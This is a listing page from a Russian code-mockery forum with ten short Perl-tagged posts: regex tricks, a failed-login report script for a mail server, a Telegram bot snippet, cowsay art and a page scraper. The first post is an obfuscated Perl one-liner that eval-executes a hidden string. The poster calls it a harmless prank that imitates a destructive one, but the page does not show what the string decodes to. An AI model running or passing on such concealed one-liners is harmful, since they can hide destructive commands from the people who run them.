1. Perl / Говнокод #28855

    0

    1. 1
    perl -e '$??s:;s:s;;$?::s;;=]=>%-{,=|},!|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    Это не он. Серьёзно.
    Безвреден, но безполезен. Можно напугать админа или девушку.

    iwasko, 26 Сентября 2023

    Комментарии (14)
  2. Perl / Говнокод #28813

    0

    1. 1
    "good" =~ /g(?:o(*{print "o"}))*d/;

    Для выполнения блоков кода внутри regex-шаблона добавлена конструкция "*{ ... }", которая эквивалентна конструкциям "?{ ... }" и "??{ ... }", за исключением того, что её использование не приводит к отключению оптимизации в движке регулярных выражений, из-за чего повышается производительность, но поведение становится менее стабильным.

    JloJle4Ka, 04 Июля 2023

    Комментарии (19)
  3. Perl / Говнокод #28535

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    #!/usr/bin/guile -s
    !#
    
    (define (square x)
      (* x x))
    
    (define (square_sum x y)
      (+ (square x) (square y)))
    
    (define (tmax x y z)
      (cond ((and (>= x y) (>= x z)) x)
            ((and (>= y x) (>= y z)) y)
            (else z)))
    
    (define (tms x y z)
      ((cond ((= (tmax x y z) x)
              (if (> y z)
                  (square_sum x y)
                  (square_sum x z)))
             ((= (tmax x y z) y)
              (if (> x z)
                  (square_sum x y)
                  (square_sum y z)))
             ((= (tmax x y z) z)
              (if (> x y)
                  (square_sum x z)
                  (square_sum y z)))
             (else 0))))
    
    (display "Ans: ")
    (display (tms 6 5 4))
    (newline)

    Почему не работает?

    JloJle4Ka, 02 Января 2023

    Комментарии (90)
  4. Perl / Говнокод #28304

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    #!/usr/bin/perl -w
    
    # apt install  libdatetime-format-dateparse-perl libemail-sender-perl libemail-mime-perl
    use warnings FATAL => 'all';
    use strict;
    use v5.28;
    use utf8;
    
    use Date::Parse;
    use Date::Language;
    use Date::Language::English;
    use Socket;
    use Email::Sender::Simple qw(sendmail);
    use Email::Sender::Transport::SMTP qw();
    use Email::MIME;
    use Encode;
    
    use constant FROM_MAIL => '[email protected]';
    use constant TO_MAIL => 'postmaster';
    
    # user->ip->error
    my %errors;
    
    my $dateLang = Date::Language->new('English');
    my $yesterday = time() - 86400;
    my %patterns = (
        "Ошибка аутентификаици"            => qr/.+Authentication failed for user (.+?)\. Attempt from IP address ([0-9.]+)\. (.+)$/,
        "Попытка отправки с чужого адреса" => qr/.+Message from authenticated user: <([a-z.@]+)> was rejected, because sender identity was detected as spoofed. \(Source IP address: ([0-9.]+), (From header: <[.a-z@]+?>).*/,
    );
    
    while (<>) {
        next unless m/^\[(.+)\](.+)/;
        my $time = $dateLang->str2time($1);
        next unless $time > $yesterday .. 0;
        my $message = $2;
        while ((my $error, my $regex) = each %patterns) {
            next unless $message =~ m/$regex/;
            $errors{$error}{$1}{$2}{$3} += 1;
        }
    }
    
    exit 0 if !%errors;
    
    my @message;
    while ((my $error, my $userIpLogTimes) = each %errors) {
        push @message, $error;
        while ((my $user, my $ipLogTimes) = each %$userIpLogTimes) {
            push @message, "\tПользователь $user";
            while ((my $ip, my $logTimes) = each %$ipLogTimes) {
                my $hostName = gethostbyaddr(inet_aton($ip), AF_INET) || $ip;
                push @message, "\t\tс IP $ip ($hostName)";
                while ((my $log, my $times) = each %$logTimes) {
                    push @message, "\t\t\t$times раз: $log";
                }
            }
        }
    }
    
    my $email = Email::MIME->create(
        attributes => {
            content_type => "text/plain",
            charset      => "UTF-8",
        },
        header_str => [
            From    => FROM_MAIL,
            To      => [ TO_MAIL ],
            Subject =>  'Неудачи на почтовике за последние сутки',
        ],
        body       => encode('utf8', join "\n", @message));
    
    sendmail(
        $email,
        {
            from      => FROM_MAIL,
            to        => TO_MAIL,
            transport => Email::Sender::Transport::SMTP->new({ host => 'localhost' })
        }
    ) || die 'Cant send';

    Покритикуйте скрипт

    MAPTbIwKA, 29 Июля 2022

    Комментарии (13)
  5. Perl / Говнокод #26798

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    # The API methods die when an error occurs.
    say $api->getMe->{result}{username};
    # ... but error handling is available as well.
    my $result = eval { $api->getMe }
        or die 'Got error message: ', $api->parse_error->{msg};

    https://metacpan.org/pod/WWW::Telegram::BotAPI

    Продолжаем пиздеть про перл.

    Решил выбрать предметную область "Телеграм-бот" чтобы поднатаскаться в «Perl».

    Вопрос: что за говно в оп-коде? Это говноспособ обработки ошибок предлагают, или такое распространено? Типа eval вместо try?

    vistefan, 09 Июля 2020

    Комментарии (88)
  6. Perl / Говнокод #26407

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    $the_cow = <<EOC;
          $thoughts
           $thoughts                            @@@###==#######@#@@@@@@@@@@@@
                                       @@@###====***====##########@@@@#
                                       @@@###===***++********===###@@@#
                                      #@@###==*****+++++++++**===##@@@#
                                      =@@#####==****++++++++***==###@@@
                                     #@@=##======*++*+++++***===###@@#
                                     #@#===###===#**+++++*+***==###@#
                                     @###**#=*++==#=****==#===####@@#
                                    ##====**==***+==++==##@###=###@@#
                     ###=====***=######====*******==*+*=*+***=##=###
                ###====******+++*=#####===******===**==*****====##
              #===*******++++++++=######==******#=***==******==##
            #===******+++++++++++*=#####==**+++=#=*+*==****==####
          #===****++++++++++++++++*=####=**++++**=====*+***==###=###
        ##==****++++++++++++++++++*=####===***===*=*=**+***==##**===###
       ##==***++++++++++++++++++++*#######=======*====****==##=***====###
      ##==***+++++++++++++++:+++++*######===#@@@@@@##=====##===****=====##
      #===***++++++++++++++++++++*=########===@@@@@@@######=====**++*=====##@@
     ##===*****++*++++++++++++++**=####@@@@@##=====####@##=======******====###
    ###===***********+++++++++++***=####@#@######=##@@###===#===*********====#
    ##====*************+*****+******=###@@#@##@##@@@####======*****+******====
    ###===***************************=##@@@@@@@@######=======****++++*+****===
    @##=====**************************===#########=#========*****++++++++**===
    ###======*********************========######================**********====
    ####=======****=**********==================================**=*==***=====
    ####============***====*=======================================*=**======#

    Пахом для cowsay

    ExModE, 03 Февраля 2020

    Комментарии (28)
  7. Perl / Говнокод #26031

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #!/usr/bin/perl -w
    use strict;
    use warnings;
    use v5.22;
    use Encode qw(encode decode);
    
    binmode $_, ':utf8' for qw(STDOUT STDIN);
    my $c = 'KOI8-R';
    print decode $c, join '', map {chr (ord() & 0x7F)} split '', encode $c, $_ while (<>);

    данный програмный продукт переводит русские буквы в забавные волапюки.
    Пользуйтесь на здоровье!

    $ echo "милости прошу к нашему шалашу" | ./koi.pl
    mILOSTI PRO[U K NA[EMU [ALA[U

    neTyx_npoTKHyTbIu, 16 Ноября 2019

    Комментарии (13)
  8. Perl / Говнокод #26005

    +1

    1. 1
    2. 2
    3. 3
    use Unicornify::URL;
     
    my $url = unicornify_url( email => '[email protected]' );

    https://metacpan.org/pod/Unicornify::URL

    PACTPOBblu_nemyx, 30 Октября 2019

    Комментарии (78)
  9. Perl / Говнокод #26003

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    #!/usr/bin/perl
    
    # Fetch all JS from govno
    use strict;
    use warnings FATAL => 'all';
    use LWP;
    
    my $res = LWP::UserAgent->new->request(HTTP::Request->new("GET" => "http://govnokod.xyz/"));
    die "Failed: " . $res->code unless $res->is_success;
    
    for (split /\n/, $res->content) {
        print if /<script/ ... /script>/ and !m/[<>]/;
    }

    кууик.

    Официальный тред для ржания над пятым перлом

    MAKAKA, 29 Октября 2019

    Комментарии (43)
  10. Perl / Говнокод #25530

    +1

    1. 1
    http://pragmaticperl.com/issues/26/pragmaticperl-26-грамматики-в-perl-6.html

    :3
    Где еще такое может быть то?

    OlegUP, 10 Апреля 2019

    Комментарии (10)